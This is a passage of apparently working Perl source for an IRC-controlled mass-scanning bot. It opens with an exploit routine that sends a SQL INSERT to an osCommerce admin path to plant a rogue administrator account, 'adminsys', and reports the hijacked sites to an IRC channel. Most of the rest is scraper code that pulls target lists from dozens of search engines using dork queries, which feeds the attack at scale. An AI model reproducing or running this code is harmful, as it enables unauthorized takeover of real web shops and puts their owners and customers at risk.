  1531.             if ($count == $num-1) { &msg("$chan","$zenlogo(4@8$engine15)10 Scan finish"); }
  1532.             my $test  = "http://".$site."admin/sqlpatch.php/password_forgotten.php?action=execute";
  1533.             my $vuln  = "http://".$site."admin";
  1534.             my $que   = "INSERT INTO admin (admin_id, admin_name, admin_email, admin_pass) VALUES (56,'adminsys','admin@mazacrew.co.cc','617ec22fbb8f201c366e9848c0eb6925:87');";
  1535.             my $enc   = urlencode($que);
  1536.             my $re    = &get_content($test,"query_string=$enc");
  1537.                if ($re =~ /1 statements processed/i){
  1538.               &msg("$path", "$zenlogo(4@8$engine15)(4@13HaJaR15)13 ".$vuln."15(4@9USER15)9 adminsys 15(4@9PASSWORD15)13 wew");
  1539.             }
  1540.              else{
  1541.              &msg("$path", "$zenlogo(4@8$engine15)(4@13GaGaL15)4 ".$vuln."15(4@9Ab0rteD15)");
  1542.             }
  1543.          }
  1544.     }
  1545. }
  1546. #########################################
  1547.  
  1548. sub search_engine() {
  1549.     my (@total,@clean);
  1550.     my $chan = $_[0];
  1551.     my $bug = $_[1];
  1552.     my $dork = $_[2];
  1553.     my $engine = $_[3];
  1554.     my $logo = $_[4];
  1555.     if ($engine eq "thailand") { my @thailand = &thailand($dork); push(@total,@thailand); }
  1556.     if ($engine eq "philiphina") { my @philiphina = &philiphina($dork); push(@total,@philiphina); }
  1557.     if ($engine eq "korea") { my @korea = &korea($dork); push(@total,@korea); }
  1558.     if ($engine eq "india") { my @india = &india($dork); push(@total,@india); }
  1559.     if ($engine eq "israel") { my @israel = &israel($dork); push(@total,@israel); }
  1560.     if ($engine eq "hongkong") { my @hongkong = &hongkong($dork); push(@total,@hongkong); }
  1561.     if ($engine eq "ReDiff") { my @rediff = &rediff($dork); push(@total,@rediff); }
  1562.     if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
  1563.     if ($engine eq "ALtaViSTa") { my @altavista = &altavista($dork); push(@total,@altavista); }
  1564.     if ($engine eq "YahOo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  1565.     if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  1566.     if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  1567.     if ($engine eq "CluSty") { my @clusty = &clusty($dork); push(@total,@clusty); }
  1568.     if ($engine eq "GutSer") { my @gutser = &gutser($dork); push(@total,@gutser); }
  1569.     if ($engine eq "GooGle2") { my @google2 = &google2($dork); push(@total,@google2); }
  1570.     if ($engine eq "ExaLead") { my @exalead = &exalead($dork); push(@total,@exalead); }
  1571.     if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  1572.     if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
  1573.     if ($engine eq "WebDe") { my @webde = &webde($dork); push(@total,@webde); }
  1574.     if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  1575.     if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  1576.     if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  1577.     if ($engine eq "DuCk") { my @duck = &duck($dork); push(@total,@duck); }
  1578.     if ($engine eq "LyGo") { my @lygo = &lygo($dork); push(@total,@lygo); }
  1579.     if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
  1580.     if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }
  1581.     if ($engine eq "KiPoT") { my @kipot = &kipot($dork); push(@total,@kipot); }
  1582.     if ($engine eq "GiBLa") { my @gibla = &gibla($dork); push(@total,@gibla); }
  1583.     if ($engine eq "BLacK") { my @black = &black($dork); push(@total,@black); }
  1584.     if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
  1585.     if ($engine eq "SiZuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }
  1586.     if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  1587.     if ($engine eq "DeMos") { my @demos = &demos($dork); push(@total,@demos); }
  1588.     if ($engine eq "RoSe") { my @rose = &rose($dork); push(@total,@rose); }
  1589.     if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }
  1590.     if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
  1591.     if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }
  1592.     @clean = &clean(@total);
  1593.     &msg("$chan","$logo(4@8$engine15)4 Total:0 (".scalar(@total).")4 Clean:0 (".scalar(@clean).")");
  1594.     return @clean;
  1595. }
  1596.  
  1597. #########################################
  1598.  
  1599. sub isFound() {
  1600.     my $status = 0;
  1601.     my $link = $_[0];
  1602.     my $reqexp = $_[1];
  1603.     my $res = &get_content($link);
  1604.     if ($res =~ /$reqexp/) { $status = 1 }
  1605.     return $status;
  1606. }
  1607.  
  1608. sub get_content() {
  1609.     my $url = $_[0];
  1610.     my $ua = LWP::UserAgent->new(agent => $uagent);
  1611.     $ua->timeout(7);
  1612.     my $req = HTTP::Request->new(GET => $url);
  1613.     my $res = $ua->request($req);
  1614.     return $res->content;
  1615. }
  1616.  
  1617. ######################################### SEARCH ENGINE gibla
  1618. sub thailand(){
  1619. my @list;
  1620. my $key = $_[0];
  1621. for($b=0;$b<=1000;$b+=100){
  1622. my $Th=("http://www.google.co.th/search?hl=th&q=".key($key)."&num=100&hl=th&q=&btnG=%E0%B8%84%E0%B9%89%E0%B8%99%E0%B8%AB%E0%B8%B2%E0%B9%82%E0%B8%94%E0%B8%A2+Google&meta=cr%3DcountryTH&ie=UTF-8&start=".$b);
  1623. my $Res=query($Th);
  1624. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1625. if ($1 !~ /thailand/){
  1626. my $k=$1;
  1627. my @grep=links($k);
  1628. push(@lst,@grep);
  1629. }}}
  1630. return @list;
  1631. }
  1632.  
  1633. sub philiphina(){
  1634. my @list;
  1635. my $key = $_[0];
  1636. for($b=0;$b<=1000;$b+=100){
  1637. my $Ph=("http://www.google.com.ph/search?hl=tl&q=".key($key)."&num=100&hl=tl&q=&btnG=Rechercher&meta=cr%3DcountryPH&ie=UTF-8&start=".$b);
  1638. my $Res=query($Ph);
  1639. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1640. if ($1 !~ /philiphina/){
  1641. my $k=$1;
  1642. my @grep=links($k);
  1643. push(@list,@grep);
  1644. }}}
  1645. return @list;
  1646. }
  1647.  
  1648. sub korea(){
  1649. my @list;
  1650. my $key = $_[0];
  1651. for($b=0;$b<=1000;$b+=100){
  1652. my $Kr=("http://www.google.co.kr/search?hl=ko&q=".key($key)."&num=100&hl=ko&q=&btnG=Google+%EA%B2%80%EC%83%89&lr=lang_ko&ie=UTF-8&start=".$b);
  1653. my $Res=query($Kr);
  1654. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1655. if ($1 !~ /korea/){
  1656. my $k=$1;
  1657. my @grep=links($k);
  1658. push(@list,@grep);
  1659. }}}
  1660. return @list;
  1661. }
  1662.  
  1663.  
  1664. sub india(){
  1665. my @list;
  1666. my $key = $_[0];
  1667. for($b=0;$b<=1000;$b+=100){
  1668. my $Id=("http://www.google.co.in/search?hl=en&q=".key($key)."&num=100&hl=en&q=&btnG=Rechercher&meta=cr%3DcountryIN&ie=UTF-8&start=".$b);
  1669. my $Res=query($Id);
  1670. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1671. if ($1 !~ /india/){
  1672. my $k=$1;
  1673. my @grep=links($k);
  1674. push(@list,@grep);
  1675. }}}
  1676. return @list;
  1677. }
  1678.  
  1679. sub hongkong(){
  1680. my @list;
  1681. my $key = $_[0];
  1682. for($b=0;$b<=1000;$b+=100){
  1683. my $Hk=("http://www.google.com.hk/search?hl=zh-TW&q=".key($key)."&num=100&hl=zh-TW&q=&btnG=Rechercher&meta=cr%3DcountryHK&ie=UTF-8&start=".$b);
  1684. my $Res=query($Hk);
  1685. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1686. if ($1 !~ /hongkong/){
  1687. my $k=$1;
  1688. my @grep=links($k);
  1689. push(@list,@grep);
  1690. }}}
  1691. return @list;
  1692. }
  1693.  
  1694. sub israel(){
  1695. my @list;
  1696. my $key = $_[0];
  1697. for($b=0;$b<=1000;$b+=100){
  1698. my $Go=("http://www.google.co.il/search?hl=en&q=".key($key)."&num=100&hl=en&q=&btnG=Rechercher&meta=cr%3DcountryIL&ie=UTF-8&start=".$b);
  1699. my $Res=query($Go);
  1700. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1701. if ($1 !~ /israel/){
  1702. my $k=$1;
  1703. my @grep=links($k);
  1704. push(@list,@grep);
  1705. }}}
  1706. return @list;
  1707. }
  1708.  
  1709.  
  1710. sub google() {
  1711.     my @list;
  1712.     my $key = $_[0];
  1713.     for (my $i=0; $i<=400; $i+=10){
  1714.         my $search = ("http://www.google.com/search?q=".&key($key)."&num=100&filter=0&start=".$i);
  1715.         my $res = &search_engine_query($search);
  1716.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  1717.             if ($1 !~ /google/){
  1718.             my $link = $1;
  1719.                 my @grep = &links($link);
  1720.                 push(@list,@grep);
  1721.             }
  1722.         }
  1723.     }
  1724.     return @list;
  1725. }
  1726.  
  1727. sub rediff() {
  1728.     my @list;
  1729.     my $key = $_[0];
  1730.     for (my $i=0; $i<=500; $i+=10) {
  1731.         my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);
  1732.                 $b = "$i";
  1733.         my $res = &search_engine_query($search);
  1734.                 if ($res !~ /firstres=$b\'>/) {$i=500;}
  1735.         while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {
  1736.             if ($1 !~ /rediff\.com/){
  1737.             my $link = $1;
  1738.                                 my @grep = &links($link);
  1739.                                 push(@list,@grep);
  1740.                         }
  1741.         }
  1742.     }
  1743.     return @list;
  1744. }
  1745.  
  1746. sub uol() {
  1747.     my @list;
  1748.     my $key = $_[0];
  1749.     for (my $i=1; $i<=500; $i+=10) {
  1750.         my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".&key($key)."&start=".$i);
  1751.         my $res = &search_engine_query($search);
  1752.                 if ($res !~ m/<span class=\"next\">pr&#243;xima<\/span>/){$i=500;}
  1753.         while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
  1754.             if ($1 !~ /uol\.com/) {
  1755.             my $link = $1;
  1756.                 my @grep = &links($link);
  1757.                 push(@list,@grep);
  1758.             }
  1759.         }
  1760.     }
  1761.     return @list;
  1762. }
  1763.  
  1764. sub bing() {
  1765.     my @list;
  1766.     my $key = $_[0];
  1767.     for (my $i=1; $i<=500; $i+=10) {
  1768.         my $search = ("http://www.bing.com/search?q=".&key($key)."&filt=all&first=".$i."&FORM=PERE");
  1769.         my $res = &search_engine_query($search);
  1770.                 if ($res =~ m/Ref A:/g && $res =~ m/Ref B:/g && $res =~ m/Ref C:/g) {$i=500;}
  1771.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  1772.             if ($1 !~ /bing\.com/) {
  1773.             my $link = $1;
  1774.                 my @grep = &links($link);
  1775.                 push(@list,@grep);
  1776.             }
  1777.         }
  1778.     }
  1779.     return @list;
  1780. }
  1781.  
  1782. sub altavista() {
  1783.     my @list;
  1784.     my $key = $_[0];
  1785.     for (my $i=1; $i<=500; $i+=10){
  1786.         my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);
  1787.         my $res = &search_engine_query($search);
  1788.                 if ($res !~ /target=\"_self\">Succ/) {$i=500;}
  1789.         while ($res =~ m/<span class=ngrn>(.+?)\//g) {
  1790.             if ($1 !~ /altavista/){
  1791.             my $link = $1;
  1792.                 $link =~ s/<//g;
  1793.                 $link =~ s/ //g;
  1794.                 my @grep = &links($link);
  1795.                 push(@list,@grep);
  1796.             }
  1797.         }
  1798.     }
  1799.     return @list;
  1800. }
  1801.  
  1802. sub ask() {
  1803.     my @list;
  1804.     my $key = $_[0];
  1805.     for (my $i=1; $i<=50; $i+=1) {
  1806.         my $search = ("http://it.ask.com/web?q=".&key($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
  1807.         my $res = &search_engine_query($search);
  1808.                 if ($res !~ /Successiva/) {$i=50;}
  1809.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
  1810.             if ($1 !~ /ask\.com/){
  1811.             my $link = $1;
  1812.                 my @grep = &links($link);
  1813.                 push(@list,@grep);
  1814.             }
  1815.         }
  1816.     }
  1817.     return @list;
  1818. }
  1819.  
  1820. sub yahoo(){
  1821.     my @list;
  1822.         my $key = $_[0];
  1823.     my $b   = 0;
  1824.         for ($b=1; $b<=500; $b+=10) {
  1825.         my $search = ("http://search.yahoo.com/search?p=".&key($key)."&b=".$b);
  1826.         my $res = &search_engine_query($search);
  1827.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  1828.             if ($1 !~ /yahoo\.com/){
  1829.             my $link = $1;
  1830.                 my @grep = &links($link);
  1831.                 push(@list,@grep);
  1832.             }
  1833.         }
  1834.     }
  1835.     return @list;
  1836. }
  1837.  
  1838. sub clusty() {
  1839.     my @list;
  1840.         my $key = $_[0];
  1841.     my $b   = 0;
  1842.         for ($b=10; $b<=500; $b+=10) {
  1843.         my $search = ("http://search.yippy.com/search?query=".&key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
  1844.         my $res = &search_engine_query($search);
  1845.                 if ($res !~ /next/) {$b=500;}
  1846.         while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
  1847.             if ($1 !~ /yippy\.com/){
  1848.             my $link = $1;
  1849.                 my @grep = &links($link);
  1850.                 push(@list,@grep);
  1851.             }
  1852.         }
  1853.     }
  1854.     return @list;
  1855. }
  1856.  
  1857. sub gutser() {
  1858.     my @list;
  1859.     my $key = $_[0];
  1860.     for ($b=1; $b<=50; $b+=1) {
  1861.         my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".&key($key)."&page=".$b."&osmax=0");
  1862.         my $res = &search_engine_query($search);
  1863.         while ($res =~ m/http:\/\/([^>\"]*)\">/g) {
  1864.             if ($1 !~ /goodsearch|good\.is|w3\.org|quantserve/){
  1865.             my $link = $1;
  1866.                 my @grep = &links($link);
  1867.                 push(@list,@grep);
  1868.             }
  1869.         }
  1870.     }
  1871.     return @list;
  1872. }
  1873.  
  1874. sub google2() {
  1875.   my @list;
  1876.   my $key = $_[0];
  1877.   my $b          = 0;
  1878.   my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  1879. foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
  1880.     for ($b=1; $b<=200; $b+=10) {
  1881.         my $search = ("http://www.google.".$dom."/search?num=50&q=".&key($key)."&start=".$b."&sa=N");
  1882.         my $res = &search_engine_query($search);
  1883.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  1884.             if ($1 !~ /google/){
  1885.             my $link = $1;
  1886.                 my @grep = &links($link);
  1887.                 push(@list,@grep);
  1888.             }
  1889.         }
  1890.     } return @list;
  1891. }
  1892. }
  1893.  
  1894. sub exalead() {
  1895.   my @list;
  1896.   my $key = $_[0];
  1897.     for ($b=0; $b<=1000; $b+=100) {
  1898.         my $search = ("http://www.exalead.com/search/web/results/?q=".&key($key)."&elements_per_page=100&start_index=".$b);
  1899.         my $res = &search_engine_query($search);
  1900.                 if ($res =~ m/<span id=\"topNextUrl\">/g) {$b=1000;}
  1901.         while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
  1902.             my $link = $1;
  1903.             if ($link!~ /exalead/){
  1904.                 my @grep = &links($link);
  1905.                 push(@list,@grep);
  1906.             }
  1907.             }
  1908.         }
  1909.     return @list;
  1910. }
  1911.  
  1912. sub lycos() {
  1913.   my @list;
  1914.   my $key = $_[0];
  1915.     for ($b=0; $b<=50; $b+=1) {
  1916.         my $search = ("http://search.lycos.com/?query=".&key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
  1917.         my $res = &search_engine_query($search);
  1918.         while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
  1919.             if ($1 !~ /lycos\.com/){
  1920.             my $link = $1;
  1921.                 my @grep = &links($link);
  1922.                 push(@list,@grep);
  1923.             }
  1924.         }
  1925.     }
  1926.     return @list;
  1927. }
  1928.  
  1929. sub virgilio() {
  1930.   my @list;
  1931.   my $key = $_[0];
  1932.     for ($b=10; $b<=500; $b+=10) {
  1933.         my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=10&offset=".$b);
  1934.         my $res = &search_engine_query($search);
  1935.                 if ($res =~ m/non ha prodotto risultati/i) {$b=500;}
  1936.                 if ($res =~ m/riconducibile a richieste effettuate/i) {$b=500;}
  1937.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" target=\"/g) {
  1938.             if ($1 !~ /\.virgilio\.it/){
  1939.             my $link = $1;
  1940.                 my @grep = &links($link);
  1941.                 push(@list,@grep);
  1942.             }
  1943.         }
  1944.     }
  1945.     return @list;
  1946. }
  1947.  
  1948. sub webde() {
  1949.   my @list;
  1950.   my $key = $_[0];
  1951.     for ($b=1; $b<=50; $b+=1) {
  1952.         my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".&key($key)."&search=Suche&webRb=countryDE");
  1953.         my $res = &search_engine_query($search);
  1954.                 if ($res =~ m/Suchbegriff nicht gefunden/i) {$b=50;}
  1955.         while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
  1956.             my $link = $1;
  1957.             if ($link!~ /suche|web/){
  1958.                 my @grep = &links($link);
  1959.                 push(@list,@grep);
  1960.             }
  1961.         }
  1962.     }
  1963.     return @list;
  1964. }
  1965.  
  1966. sub hotbot() {
  1967.   my @list;
  1968.   my $key = $_[0];
  1969.     for ($b=0; $b<=50; $b+=1) {
  1970.         my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
  1971.         my $res = &search_engine_query($search);
  1972.                 if ($res =~ m/had no web result/i) {$b=50;}
  1973.         while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
  1974.             if ($1 !~ /hotbot\.com/){
  1975.             my $link = $1;
  1976.                 my @grep = &links($link);
  1977.                 push(@list,@grep);
  1978.             }
  1979.         }
  1980.     }
  1981.     return @list;
  1982. }
  1983.  
  1984. sub aol() {
  1985.   my @list;
  1986.   my $key = $_[0];
  1987.     for ($b=2; $b<=50; $b+=1) {
  1988.         my $search = ("http://aim.search.aol.com/aol/search?q=".&key($key)."&page=".$b);
  1989.         my $res = &search_engine_query($search);
  1990.         while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
  1991.             if ($1 !~ /aol\.com/){
  1992.             my $link = $1;
  1993.                 my @grep = &links($link);
  1994.                 push(@list,@grep);
  1995.             }
  1996.         }
  1997.     }
  1998.     return @list;
  1999. }
  2000.  
  2001. sub sapo(){
  2002.     my @list;
  2003.         my $key = $_[0];
  2004.         for ($b=1; $b<=50; $b+=1) {
  2005.         my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".&key($key)."&st=local");
  2006.         my $res = &search_engine_query($search);
  2007.                 if ($res !~ m/Next/i) {$b=50;}
  2008.         while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  2009.             if ($1 !~ /\.sapo\.pt/){
  2010.             my $link = $1;
  2011.                 my @grep = &links($link);
  2012.                 push(@list,@grep);
  2013.             }
  2014.         }
  2015.     }
  2016.     return @list;
  2017. }
  2018.  
  2019. sub duck() {
  2020.         my @list;
  2021.         my $key = $_[0];
  2022.     my $b   = 0;
  2023.         for ($b=1; $b<=50; $b+=1) {
  2024.         my $search = ("http://duckduckgo.com/html/?q=".&key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");
  2025.         my $res = &search_engine_query($search);
  2026.                 if ($res =~ m/No more results/i) {$b=50;}
  2027.         while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  2028.             if ($1 !~ /duckduckgo/){
  2029.             my $link = $1;
  2030.                 my @grep = &links($link);
  2031.                 push(@list,@grep);
  2032.             }
  2033.         }
  2034.     }
  2035.     return @list;
  2036. }
  2037.  
  2038. sub lygo() {
  2039.         my @list;
  2040.         my $key = $_[0];
  2041.         my $b   = 0;
  2042.         for ($b=0; $b<=50; $b+=1) {
  2043.         my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
  2044.         my $res = &search_engine_query($search);
  2045.                 if ($res =~ m/had no web result/i) {$b=50;}
  2046.         while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {
  2047.             if ($1 !~ /hotbot\.com/){
  2048.             my $link = $1;
  2049.                 my @grep = &links($link);
  2050.                 push(@list,@grep);
  2051.             }
  2052.         }
  2053.     }
  2054.     return @list;
  2055. }
  2056.  
  2057. sub yause() {
  2058.         my @list;
  2059.         my $key = $_[0];
  2060.         my $b   = 0;
  2061.         for ($b=1; $b<=50; $b+=1) {
  2062.         my $search = ("http://www.yauba.com/?query=".&key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
  2063.         my $res = &search_engine_query($search);
  2064.                 if ($res !~ m/Next/i) {$b=50;}
  2065.         while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {
  2066.             if ($1 !~ /yauba\.com/){
  2067.             my $link = $1;
  2068.                 my @grep = &links($link);
  2069.                 push(@list,@grep);
  2070.             }
  2071.         }
  2072.     }
  2073.     return @list;
  2074. }
  2075.  
  2076. sub baidu() {
  2077.         my @list;
  2078.         my $key = $_[0];
  2079.         my $b   = 0;
  2080.         for ($b=0; $b<=500; $b+=10) {
  2081.         my $search = ("http://www.baidu.com/s?wd=".&key($key)."&pn=".$b);
  2082.         my $res = &search_engine_query($search);
  2083.         while ($res =~ m/\" href=\"http:\/\/(.*?)\"  target=/g) {
  2084.             if ($1 !~ /baidu\.com/){
  2085.             my $link = $1;
  2086.                 my @grep = &links($link);
  2087.                 push(@list,@grep);
  2088.             }
  2089.         }
  2090.     }
  2091.     return @list;
  2092. }
  2093.  
  2094. sub kipot() {
  2095.         my @list;
  2096.         my $key = $_[0];
  2097.         my $b   = 0;
  2098.         for ($b=1; $b<=50; $b+=1) {
  2099.         my $search = ("http://www.qkport.com/".$b."/web/".&key($key));
  2100.         my $res = &search_engine_query($search);
  2101.         while ($res =~ m/href=\"http:\/\/(.*?)\" target=\"_top\"/g) {
  2102.             if ($1 !~ /qkport\.com/){
  2103.             my $link = $1;
  2104.                 my @grep = &links($link);
  2105.                 push(@list,@grep);
  2106.             }
  2107.         }
  2108.     }
  2109.     return @list;
  2110. }
  2111.  
  2112. sub gibla() { #mati#
  2113.         my @list;
  2114.         my $key = $_[0];
  2115.         my $hal = "/search?q=".&key($key);
  2116.         my $search = ("http://www.gigablast.com".$hal);
  2117.         my $res = &search_engine_query($search);
  2118.         while ($res =~ m/Next 10 Results/) {
  2119.         $search = ("http://www.gigablast.com".$hal);
  2120.         while ($res =~ m/<span class=\"url\">(.+?)><\/span>/g) {
  2121.             my $link = $1;
  2122.             my @grep = &links($link);
  2123.             push(@list,@grep);
  2124.                 }
  2125.         if ($res =~ m/<center><a href=\"(.*?)\">/) { $hal = $1; }
  2126.         $res = &search_engine_query($search);
  2127.         }return @list;
  2128. }
  2129.  
  2130. sub black() {
  2131.         my @list;
  2132.         my $key = $_[0];
  2133.         my $b   = 0;
  2134.         for ($b=0; $b<=50; $b+=1) {
  2135.         my $search = ("http://blekko.com/ws/".&key($key)."?ft=&p=".$b);
  2136.                 my $cek = $b+1;
  2137.         my $res = &search_engine_query($search);
  2138.                 if ($res !~ m/<strong>$b<\/strong>/i) {$b=50;}
  2139.         while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
  2140.             if ($1 !~ /blekko/){
  2141.             my $link = $1;
  2142.                 my @grep = &links($link);
  2143.                 push(@list,@grep);
  2144.             }
  2145.         }
  2146.     }
  2147.     return @list;
  2148. }
  2149.  
  2150. sub onet() {
  2151.         my @list;
  2152.         my $key = $_[0];
  2153.         my $b   = 0;
  2154.         for ($b=1; $b<=50; $b+=1) {
  2155.         my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
  2156.         my $res = &search_engine_query($search);
  2157.         while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  2158.             if ($1 !~ /webcache|query/){
  2159.             my $link = $1;
  2160.                 my @grep = &links($link);
  2161.                 push(@list,@grep);
  2162.             }
  2163.         }
  2164.     }
  2165.     return @list;
  2166. }
  2167.  
  2168. sub sizuka() {
  2169.         my @list;
  2170.         my $key = $_[0];
  2171.         my $b   = 0;
  2172.         for ($b=10; $b<=100; $b+=10) {
  2173.         my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".&key($key)."&start=".$b);
  2174.         my $res = &search_engine_query($search);
  2175.         while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
  2176.             if ($1 !~ /szukacz/){
  2177.             my $link = $1;
  2178.                 my @grep = &links($link);
  2179.                 push(@list,@grep);
  2180.             }
  2181.         }
  2182.     }
  2183.     return @list;
  2184. }
  2185.  
  2186. sub walla() {
  2187.         my @list;
  2188.         my $key = $_[0];
  2189.         my $b   = 0;
  2190.         for ($b=0; $b<=50; $b+=1) {
  2191.         my $search = ("http://search.walla.co.il/?t=0&e=utf&q=".&key($key)."&p=".$b);
  2192.         my $res = &search_engine_query($search);
  2193.         while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {
  2194.             if ($1 !~ /walla\.co\.il/){
  2195.             my $link = $1;
  2196.                 my @grep = &links($link);
  2197.                 push(@list,@grep);
  2198.             }
  2199.         }
  2200.     }
  2201.     return @list;
  2202. }
  2203.  
  2204. sub demos() {
  2205.         my @list;
  2206.         my $key = $_[0];
  2207.         my $b   = 0;
  2208.         for ($b=0; $b<=500; $b+=10) {
  2209.         my $search = ("http://search.dmoz.org/search/search?q=".&key($key)."&start=".$b."&type=next&all=yes");
  2210.         my $res = &search_engine_query($search);
  2211.         while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  2212.             if ($1 !~ /search|dmoz/){
  2213.             my $link = $1;
  2214.                 my @grep = &links($link);
  2215.                 push(@list,@grep);
  2216.             }
  2217.         }
  2218.     }
  2219.     return @list;
  2220. }
  2221.  
  2222. sub rose() {
  2223.   my @list;
  2224.   my $key = $_[0];
  2225.   my $b          = 0;
  2226.   my @langs = ("de","nl","fi","ps","da","en","es","fr","it","no","sv","cs","pl","ru");
  2227. foreach my $language (@langs) { $lang = $langs[rand(scalar(@langs))];
  2228.     for ($b=0; $b<=30; $b+=10) {
  2229.         my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".&key($key));
  2230.         my $res = &search_engine_query($search);
  2231.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {
  2232.             if ($1 !~ /euroseek/){
  2233.             my $link = $1;
  2234.                 my @grep = &links($link);
  2235.                 push(@list,@grep);
  2236.             }
  2237.         }
  2238.     }
  2239. }return @list;
  2240. }
  2241.  
  2242. sub seznam() {
  2243.         my @list;
  2244.         my $key = $_[0];
  2245.         for ($b=1; $b<=500; $b+=10) {
  2246.         my $search = ("http://search.seznam.cz/?q=".&key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
  2247.         my $res = &search_engine_query($search);
  2248.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
  2249.             if ($1 !~ /seznam/){
  2250.             my $link = $1;
  2251.                 my @grep = &links($link);
  2252.                 push(@list,@grep);
  2253.             }
  2254.         }
  2255.     }
  2256.     return @list;
  2257. }
  2258.  
  2259. sub tiscali() {
  2260.         my @list;
  2261.         my $key = $_[0];
